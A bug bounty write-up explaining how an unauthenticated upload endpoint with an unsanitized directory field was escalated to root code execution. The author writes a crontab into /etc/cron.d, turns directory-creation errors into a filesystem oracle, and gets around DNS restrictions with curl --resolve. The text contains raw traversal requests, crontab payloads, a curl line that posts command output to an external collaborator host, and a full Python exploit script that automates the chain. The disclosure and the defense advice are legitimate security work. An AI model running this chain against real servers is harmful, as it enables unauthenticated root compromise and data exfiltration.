August 2, 2026
Escalating a Blind Upload to RCE via Path Traversal into Cron and DNS-Restricted Callback Bypass
1. Introduction

By Alvin Ferdiansyah
12 min read
1. Introduction
I found an unauthenticated file upload on one of bug bounty target website. The endpoint accepted a file and a caller-controlled destination directory, allowing the write to escape the intended upload folder and reach sensitive locations on the underlying server.
At first, the finding looked close to remote code execution. I controlled the file contents and i could influence where the file was stored, But the usual file-upload exploitation path was unavailable.
The server replaced every uploaded filename with a generated UUID and forced a .png extension. I could not preserve .php, .jsp, or any other executable suffix. The returned upload URL was also inaccessible without authentication, and the frontend web server appeared to serve files from a different filesystem location than the backend used for storage.
There was no download function, no local file inclusion, and no error message that exposed the uploaded contents. I could write bytes to the server, but I could neither choose their final name nor retrieve them afterward.
That created three problems:
- Was the traversal reaching the host's real filesystem, or only an application-controlled storage layer?
- What privileges did the backend have when it performed the write?
- Could a file become executable without controlling its filename or requesting it through the web server?
Instead of asking how to make the application execute the file, I began looking for another component on the host that might discover and process it automatically.
This article follows that progression: proving that the write reached the real filesystem, turning directory-creation failures into a blind filesystem oracle, and determining whether an upload with no controllable filename or read-back path could still be escalated into code execution.
2. The Upload
2.1 The directory field enters the path unchanged
The endpoint accepted a multipart file and a form field naming the destination directory. It required no account, session cookie, bearer token, or other authentication material.
I found it through the platform's JavaScript bundle and disclosed both the endpoint and the relevant field name:
Uploader.send = function (formData, uploadPath, callback) {
formData.append("uploadPath", uploadPath);
$.ajax({
url: APP_PATH + "/api/files/upload",
type: "post",
data: formData,
// ...
});
};Uploader.send = function (formData, uploadPath, callback) {
formData.append("uploadPath", uploadPath);
$.ajax({
url: APP_PATH + "/api/files/upload",
type: "post",
data: formData,
// ...
});
};I began with an ordinary request to establish the baseline behavior:
POST /app/api/files/upload HTTP/1.1
Host: host.redacted
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="file"; filename="bugbounty-probe.txt"
Content-Type: text/plain
bugbounty benign marker no-script
--X
Content-Disposition: form-data; name="uploadPath"
temp
--X--POST /app/api/files/upload HTTP/1.1
Host: host.redacted
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="file"; filename="bugbounty-probe.txt"
Content-Type: text/plain
bugbounty benign marker no-script
--X
Content-Disposition: form-data; name="uploadPath"
temp
--X--The endpoint returned:
HTTP/1.1 201 Created
Content-Type: application/json
{
"code": "succeed",
"payload": {
"mimeType": "image/png",
"url": "/upload/temp/81355280-3706-4aae-98cb-6caed9e208d1__1784460157564.png"
}
}HTTP/1.1 201 Created
Content-Type: application/json
{
"code": "succeed",
"payload": {
"mimeType": "image/png",
"url": "/upload/temp/81355280-3706-4aae-98cb-6caed9e208d1__1784460157564.png"
}
}The URL was more interesting than the status code.
I had submitted a .txt file, but the server stored it under a generated UUID and forced the .png extension. That behavior remained consistent regardless of the original filename or declared content type.
I then supplied directory values that an upload handler should never accept:
uploadPath=../temp
→ /upload/../temp/a4988743-...png
uploadPath=..%2f..%2ftrav
→ /upload/..%2f..%2ftrav/68197467-...png
uploadPath=/tmp/bugbounty-trav
→ /upload//tmp/bugbounty-trav/86f7e195-...pnguploadPath=../temp
→ /upload/../temp/a4988743-...png
uploadPath=..%2f..%2ftrav
→ /upload/..%2f..%2ftrav/68197467-...png
uploadPath=/tmp/bugbounty-trav
→ /upload//tmp/bugbounty-trav/86f7e195-...pngRelative traversal, encoded separators, and a leading slash were all reflected into the returned path. Nothing visible was stripped or normalized before the path was constructed.
That was enough to identify an unsanitized directory-path sink. But it was not yet enough to prove that the write reached the operating system's real filesystem.
2.2 Proving that the write is real
The response could easily be misleading without the application intending it to be.
A backend writing into an object store, database, virtual filesystem, or restricted storage root could accept an object name literally containing ../../etc and return the same string in a URL. It would look like path traversal from the outside while never leaving the application's storage boundary.
I needed a destination whose behavior was governed by the kernel rather than by the application's naming logic.
/proc was useful for that.
It is a virtual filesystem exposed by the kernel, not an ordinary writable directory on disk. Arbitrary directory creation directly beneath /proc is not permitted in the way it is beneath ordinary locations such as /tmp.
Meanwhile, a sufficiently privileged process can create files and directories beneath locations such as /tmp, /etc, and /root.
I therefore sent the same harmless marker four times, changing only the destination. I used arround fourteen traversal segments more than necessary to make sure the path reached the filesystem root.
Overshooting is harmless on Linux because additional parent-directory components stop moving upward once / has been reached.
I will refer to this traversal prefix as UP:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../All four requests returned HTTP 201, so the status code was useless. The response body carried the distinction:
UP + etc/bugbounty-1a2b
→ success, URL returned
UP + tmp/bugbounty-1a2b
→ success, URL returned
UP + root/bugbounty-1a2b
→ success, URL returned
UP + proc/bugbounty-1a2b
→ "cannot create directory", no URLUP + etc/bugbounty-1a2b
→ success, URL returned
UP + tmp/bugbounty-1a2b
→ success, URL returned
UP + root/bugbounty-1a2b
→ success, URL returned
UP + proc/bugbounty-1a2b
→ "cannot create directory", no URLThe ordinary filesystem destinations succeeded. The /proc destination failed during directory creation.
That difference was strong evidence that the supplied path was being resolved against the host's real filesystem. The result depended on the semantics of the target filesystem, not merely on how the application represented an upload key.
The same requests also answered the privilege question. Arbitrary creation beneath /root, and normally beneath protected areas of /etc, requires elevated filesystem privileges. Both writes succeeded.
Now, I already had strong evidence that the backend process was running as root, or with equivalent write capability.
Also, the endpoint therefore answered yes-or-no questions about the filesystem existence :
UP + etc/crontab/x
→ directory-creation error, no URL
→ an existing non-directory object blocks the path
UP + etc/definitely-not-present/x
→ success, URL returned
→ the path was absent and could be createdUP + etc/crontab/x
→ directory-creation error, no URL
→ an existing non-directory object blocks the path
UP + etc/definitely-not-present/x
→ success, URL returned
→ the path was absent and could be createdNow, you are reading the filesystem one yes-or-no question at a time, through an endpoint that only writes.
3. Reading the Filesystem Through an Endpoint That Only Writes
3.1 Fingerprinting the host
One request answered each question:
UP + etc/redhat-release/x
→ cannot create
→ present
UP + etc/cron.d/0hourly/x
→ cannot create
→ present
UP + usr/sbin/crond/x
→ cannot create
→ present
UP + etc/crontab/x
→ cannot create
→ present
UP + .dockerenv/x
→ success and URL
→ absent before the probeUP + etc/redhat-release/x
→ cannot create
→ present
UP + etc/cron.d/0hourly/x
→ cannot create
→ present
UP + usr/sbin/crond/x
→ cannot create
→ present
UP + etc/crontab/x
→ cannot create
→ present
UP + .dockerenv/x
→ success and URL
→ absent before the probeThose observations were consistent with:
- A RHEL- or CentOS-family operating system.
- Cron installed on the host.
- Standard cron-related paths present.
- No
/.dockerenvmarker at the tested location.
The results suggested a conventional host installation rather than a minimal container image, although the absence of one container marker alone is not definitive. Controls mattered here.
4. Cron Reads a Directory, Not a Filename
A web interpreter usually cares about file extensions.
A conventional PHP upload works because the server sees .php, passes the file to PHP, and executes the contents when the URL is requested. When the backend forces .png, that familiar chain usually ends.
A service that consumes files from a configured directory can behave differently. Instead of asking whether the filename looks executable, it may inspect the directory and process files according to their contents or local configuration. Cron provided exactly that behavior on the affected host.
The implementation processed the generated .png file placed inside /etc/cron.d, interpreted its contents as a system crontab, and executed the configured command as the user named on the line.
That changed the shape of the exploit completely:
- I did not need control over the stored filename.
- I did not need the file to be web-accessible.
- I did not need nginx or an application interpreter to execute it.
- I needed only control over the file contents and destination directory.
The filename that had blocked every conventional upload technique stopped mattering. The fully controllable directory became the execution primitive.
Linux systems contain several locations whose files may be consumed by privileged components, but their triggers differ:
/etc/cron.dand cron scheduling directories are processed on a timer./etc/profile.ddepends on a user starting a relevant login shell.- Web-server configuration directories usually require a reload.
- Systemd unit directories generally require daemon reload or service activity.
- Logrotate configuration is consumed during scheduled rotation.
/etc/sudoers.dmay be read whensudoruns and is particularly unsafe to probe because malformed content can disrupt administrative access.
Only /etc/cron.d was used on this host. The others illustrate the broader question behind the technique:
Which trusted process will automatically consume a file from a directory I can control?
4.1 Planting a benign, self-removing crontab
The body contained a valid system crontab. The command ran id, created a proof artifact beneath /tmp, and then removed the uploaded crontab so it would not remain active.
A simplified, redacted request looked like this:
POST /app/api/files/upload HTTP/1.1
Host: host.example
Content-Type: multipart/form-data; boundary=X
...
...
--X
Content-Disposition: form-data; name="file"; filename="cron.png"
Content-Type: image/png
# bugbounty benign self-removing proof
MAILTO=""
* * * * * root /usr/bin/id > /tmp/bugbounty-cronproof 2>&1; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*__*.png" -delete
--X
Content-Disposition: form-data; name="uploadPath"
../../../../../../../../../../../../../../etc/cron.d
--X--POST /app/api/files/upload HTTP/1.1
Host: host.example
Content-Type: multipart/form-data; boundary=X
...
...
--X
Content-Disposition: form-data; name="file"; filename="cron.png"
Content-Type: image/png
# bugbounty benign self-removing proof
MAILTO=""
* * * * * root /usr/bin/id > /tmp/bugbounty-cronproof 2>&1; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*__*.png" -delete
--X
Content-Disposition: form-data; name="uploadPath"
../../../../../../../../../../../../../../etc/cron.d
--X--The endpoint returned a generated storage path:
{
"code": "succeed",
"payload": {
"mimeType": "image/png",
"url": "/upload/.../etc/cron.d/3f3c2461-c280-435a-bb36-bb04a5d6cb4e__1784460205914.png"
}
}{
"code": "succeed",
"payload": {
"mimeType": "image/png",
"url": "/upload/.../etc/cron.d/3f3c2461-c280-435a-bb36-bb04a5d6cb4e__1784460205914.png"
}
}At that point, a server-generated .png containing a valid crontab existed inside /etc/cron.d.
This was where I expected the chain to fail.
Cron implementations are known to apply filename restrictions in some scheduling locations and configurations. On this particular host, however, the generated .png file was processed successfully. One cron cycle later, I checked two paths through the oracle:
UP + tmp/bugbounty-cronproof/x
→ cannot create directory
→ the proof file exists, so the first command ran
UP + etc/cron.d/3f3c2461-...png/x
→ success and URL
→ the uploaded crontab no longer existsUP + tmp/bugbounty-cronproof/x
→ cannot create directory
→ the proof file exists, so the first command ran
UP + etc/cron.d/3f3c2461-...png/x
→ success and URL
→ the uploaded crontab no longer existsTwo separate effects had occurred from the same planted line:
- The proof file was created.
- The crontab removed itself.
The file had been opened and its contents executed.
4.2 Reading command output through a filename
Knowing that a command ran was not the same as knowing which user ran it. I still could not read the contents of /tmp/bugbounty-cronproof.
The solution was to stop treating command output as text that needed to be retrieved. Instead, I encoded the output into a pathname and asked the oracle whether that pathname existed.
The next crontab did not save the output of id into a file. It constructed a filename from it:
* * * * * root /usr/bin/touch "/tmp/bugbounty-idout-$(/usr/bin/id -u)-$(/usr/bin/id -un)-$(/usr/bin/uname -m)" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*__*.png" -delete* * * * * root /usr/bin/touch "/tmp/bugbounty-idout-$(/usr/bin/id -u)-$(/usr/bin/id -un)-$(/usr/bin/uname -m)" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*__*.png" -deleteOne cycle later, I calculated what the shell would produce if the command ran as root on the observed architecture:
/tmp/bugbounty-idout-0-root-x86_64/tmp/bugbounty-idout-0-root-x86_64I then asked the oracle whether that exact path existed:
UP + tmp/bugbounty-idout-0-root-x86_64/x
→ cannot create directoryUP + tmp/bugbounty-idout-0-root-x86_64/x
→ cannot create directoryIt did.
That meant the shell had expanded:
id -u → 0
id -un → root
uname -m → x86_64id -u → 0
id -un → root
uname -m → x86_64A single matching candidate would not have been convincing by itself, so I tested several negative controls:
UP + tmp/bugbounty-idout-1000-root-x86_64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-0-nobody-x86_64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-0-root-aarch64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-nonsense/x
→ success and URL
→ absentUP + tmp/bugbounty-idout-1000-root-x86_64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-0-nobody-x86_64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-0-root-aarch64/x
→ success and URL
→ absent
UP + tmp/bugbounty-idout-nonsense/x
→ success and URL
→ absentThe wrong UID, wrong username, wrong architecture, and arbitrary control value were all absent.
Only:
0-root-x86_640-root-x86_64was present.
At this point, remote code execution was already within reach. I only needed a little more work to make the proof cleaner and confirm it through an external callback.
4.3 Confirming it over the network
A standard Burp Collaborator callback did not work because the host could not resolve external DNS names. However, outbound HTTP requests to a direct IP address were still permitted. To work around the DNS restriction, the cron command used curl --resolve , which locally mapped a controlled hostname to a fixed IP address. This allowed the request to keep a valid hostname while bypassing the target's DNS resolver entirely.
The cron job was configured to send the output of several system commands to a server under my control (Detail on Section #5). When the job executed, the server received the following callback:
POST /repro-id
...
...
Content-Type: multipart/form-data; boundary=------------------------nbDQFgm6Sk9yuVL92dQGdX
Connection: keep-alive
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name="file"; filename="cron.png"
Content-Type: image/png
#bugbounty
MAILTO=""
* * * * * root RO="--resolve qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com:80:3.248.33.252"; /usr/bin/curl -sk ${RO} --max-time 10 "http://qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com/d451-repro-id" -d "$(/usr/bin/id)" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*.png" -delete
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name="parentPathName"
../../../../../../../../../../../../../../etc/cron.d
--------------------------nbDQFgm6Sk9yuVL92dQGdX--
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023POST /repro-id
...
...
Content-Type: multipart/form-data; boundary=------------------------nbDQFgm6Sk9yuVL92dQGdX
Connection: keep-alive
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name="file"; filename="cron.png"
Content-Type: image/png
#bugbounty
MAILTO=""
* * * * * root RO="--resolve qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com:80:3.248.33.252"; /usr/bin/curl -sk ${RO} --max-time 10 "http://qf92avupbntwkqk90dycb0rbb2ht5ntc.oastify.com/d451-repro-id" -d "$(/usr/bin/id)" 2>/dev/null; /usr/bin/find /etc/cron.d -maxdepth 1 -name "*.png" -delete
--------------------------nbDQFgm6Sk9yuVL92dQGdX
Content-Disposition: form-data; name="parentPathName"
../../../../../../../../../../../../../../etc/cron.d
--------------------------nbDQFgm6Sk9yuVL92dQGdX--
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023The host also returned:
POST /repro-uname
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 x86_64POST /repro-uname
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 x86_64The finding was submitted as Critical with a CVSS 3.1 score of 10.0.
5. Detail of The Chain in One Script
The version below is presented as pseudocode and intentionally limits the proof of concept to benign callbacks that return only the executing user identity and basic system architecture information. This keeps the demonstration minimal while still confirming successful remote code execution without introducing unnecessary risk or disruption.
#!/usr/bin/env python3
import time
import uuid
from typing import Any
import requests
TARGET = "https://host.example/app/api/files/upload"
WEBHOOK_HOST = "oastify.listener.example"
WEBHOOK_IP = "THEIP###"
UP = "../" * 14
TAG = f"bugbounty-{uuid.uuid4().hex[:8]}"
def upload(
body: bytes,
destination: str,
filename: str = "probe.png",
) -> dict[str, Any]:
response = requests.post(
TARGET,
files={
"file": (
filename,
body,
"image/png",
)
},
data={"uploadPath": destination},
timeout=30,
)
response.raise_for_status()
result = response.json()
return result.get("payload") or {}
def exists(path: str) -> bool:
"""
Filesystem-state oracle.
When the requested path passes through an existing regular file,
directory creation fails and the endpoint returns no stored URL.
"""
probe = UP + path.lstrip("/") + f"/{TAG}-probe"
result = upload(b"benign marker", probe)
return "url" not in result
print("[1] Checking filesystem behavior")
for directory in ("etc", "tmp", "root", "proc"):
destination = UP + directory + "/" + TAG
result = upload(b"benign marker", destination)
state = "written" if "url" in result else "refused"
print(f"/{directory:<5} -> {state}")
print("\n[2] Checking expected cron paths")
for path in (
"/usr/sbin/crond",
"/etc/cron.d/0hourly",
"/etc/crontab",
):
state = "present" if exists(path) else "absent or creatable"
print(f"{path:<24} -> {state}")
print("\n[3] Planting a benign, self-removing crontab")
curl_command = (
f"/usr/bin/curl -s "
f"--resolve {WEBHOOK_HOST}:80:{WEBHOOK_IP} "
f"-X POST --data-binary @- "
f"http://{WEBHOOK_HOST}"
)
crontab = (
"# bugbounty benign self-removing proof\n"
'MAILTO=""\n'
f"* * * * * root "
f"/usr/bin/id | {curl_command}/{TAG}-id; "
f"/usr/bin/uname -a | {curl_command}/{TAG}-uname; "
f"/usr/bin/find /etc/cron.d "
f"-maxdepth 1 -name \"*__*.png\" -delete\n"
).encode()
result = upload(
crontab,
UP + "etc/cron.d",
filename="cron.png",
)
stored_url = result.get("url")
if not stored_url:
raise RuntimeError(
"The crontab upload did not return a stored URL"
)
leaf_name = stored_url.rsplit("/", 1)[-1]
print(f"Planted /etc/cron.d/{leaf_name}")
print("\n[4] Waiting for one cron cycle")
time.sleep(90)
crontab_path = f"/etc/cron.d/{leaf_name}"
print(
"Uploaded crontab:",
"still present" if exists(crontab_path) else "removed",
)
print("Review the controlled listener for the identity callbacks.")#!/usr/bin/env python3
import time
import uuid
from typing import Any
import requests
TARGET = "https://host.example/app/api/files/upload"
WEBHOOK_HOST = "oastify.listener.example"
WEBHOOK_IP = "THEIP###"
UP = "../" * 14
TAG = f"bugbounty-{uuid.uuid4().hex[:8]}"
def upload(
body: bytes,
destination: str,
filename: str = "probe.png",
) -> dict[str, Any]:
response = requests.post(
TARGET,
files={
"file": (
filename,
body,
"image/png",
)
},
data={"uploadPath": destination},
timeout=30,
)
response.raise_for_status()
result = response.json()
return result.get("payload") or {}
def exists(path: str) -> bool:
"""
Filesystem-state oracle.
When the requested path passes through an existing regular file,
directory creation fails and the endpoint returns no stored URL.
"""
probe = UP + path.lstrip("/") + f"/{TAG}-probe"
result = upload(b"benign marker", probe)
return "url" not in result
print("[1] Checking filesystem behavior")
for directory in ("etc", "tmp", "root", "proc"):
destination = UP + directory + "/" + TAG
result = upload(b"benign marker", destination)
state = "written" if "url" in result else "refused"
print(f"/{directory:<5} -> {state}")
print("\n[2] Checking expected cron paths")
for path in (
"/usr/sbin/crond",
"/etc/cron.d/0hourly",
"/etc/crontab",
):
state = "present" if exists(path) else "absent or creatable"
print(f"{path:<24} -> {state}")
print("\n[3] Planting a benign, self-removing crontab")
curl_command = (
f"/usr/bin/curl -s "
f"--resolve {WEBHOOK_HOST}:80:{WEBHOOK_IP} "
f"-X POST --data-binary @- "
f"http://{WEBHOOK_HOST}"
)
crontab = (
"# bugbounty benign self-removing proof\n"
'MAILTO=""\n'
f"* * * * * root "
f"/usr/bin/id | {curl_command}/{TAG}-id; "
f"/usr/bin/uname -a | {curl_command}/{TAG}-uname; "
f"/usr/bin/find /etc/cron.d "
f"-maxdepth 1 -name \"*__*.png\" -delete\n"
).encode()
result = upload(
crontab,
UP + "etc/cron.d",
filename="cron.png",
)
stored_url = result.get("url")
if not stored_url:
raise RuntimeError(
"The crontab upload did not return a stored URL"
)
leaf_name = stored_url.rsplit("/", 1)[-1]
print(f"Planted /etc/cron.d/{leaf_name}")
print("\n[4] Waiting for one cron cycle")
time.sleep(90)
crontab_path = f"/etc/cron.d/{leaf_name}"
print(
"Uploaded crontab:",
"still present" if exists(crontab_path) else "removed",
)
print("Review the controlled listener for the identity callbacks.")Running the full script version i created during the testing confirmed full remote code execution, as the target host executed the injected commands and sent the results over the external network to my controlled Collaborator server.
6. Defense
Never construct a filesystem path from raw request input
The application should not concatenate a client-supplied directory value into a filesystem destination.
The safest design is to expose only logical destination names and map them to fixed server-side paths:
"profile-images" → /srv/app/uploads/profile-images
"attachments" → /srv/app/uploads/attachments"profile-images" → /srv/app/uploads/profile-images
"attachments" → /srv/app/uploads/attachmentsThe client should never submit path syntax.
When dynamic subdirectories are genuinely required, the application should:
- Resolve the requested destination against a fixed upload root.
- Canonicalize the resulting path.
- Verify that the canonical result remains beneath the intended root.
- Reject absolute paths, traversal components, encoded separators, alternate separators, and symbolic-link escapes.
- Repeat the validation immediately before the write to reduce race-condition risk.
A raw string-prefix comparison performed before canonicalization is not sufficient.
Require authentication and authorization
The upload operation should not be accessible without authentication.
Access controls should cover the complete management API namespace rather than protecting only selected user-interface or administrative routes. Authorization should also verify that the authenticated user is permitted to upload that file type into the selected logical destination.
Protecting the administrative interface while leaving its underlying REST endpoint public does not provide meaningful security.
Run the service as an unprivileged account
The backend should never run as root.
With an appropriately restricted service account, the same path-handling defect would have had a much smaller blast radius.
Isolate uploaded files
Uploaded content should be stored:
- Outside application and system directories.
- In a dedicated non-executable location.
- On a separate filesystem or object store where appropriate.
- With strict quotas and size limits.
- With server-selected content types and permissions.
- Away from directories consumed by operating-system services.
The upload volume should not share sensitive host namespaces unless there is a strong operational reason.
Avoid exposing a filesystem-state oracle
Path-related failures should return one consistent external response. The client should not be able to distinguish among:
- An existing regular file.
- A missing directory.
- Permission denial.
- An invalid path component.
- A special filesystem.
- Another kernel-level failure.
Detailed causes can still be recorded in internal logs with a correlation identifier. To an external caller, path-resolution failures should appear the same.
7. Closing Notes
A blind arbitrary file write is only a dead end if the investigation stays focused on the filename. Here, the application always replaced the supplied name with a UUID and appended .png, so the real question was not what name can I control? but what directory can I reach?
Cron turned that directory access into code execution. At the same time, a subtle difference in error handling created a filesystem-state oracle that was sufficient to confirm traversal, identify cron-related paths, verify execution, recover the resulting UID and username, and distinguish the successful path from negative controls.
The server never returned command output directly. It returned the kernel's answer one bit at a time, and that was enough to prove unauthenticated remote code execution as root.
The development and production hosts were reported separately, but both were closed before triage because the program considered the application vendor-operated and out of scope. No bounty was awarded, and remediation could not be confirmed.
So, when an arbitrary file write appears blind, stop fighting the generated filename and inspect the system around it. The path to execution may never pass through a web-accessible file at all.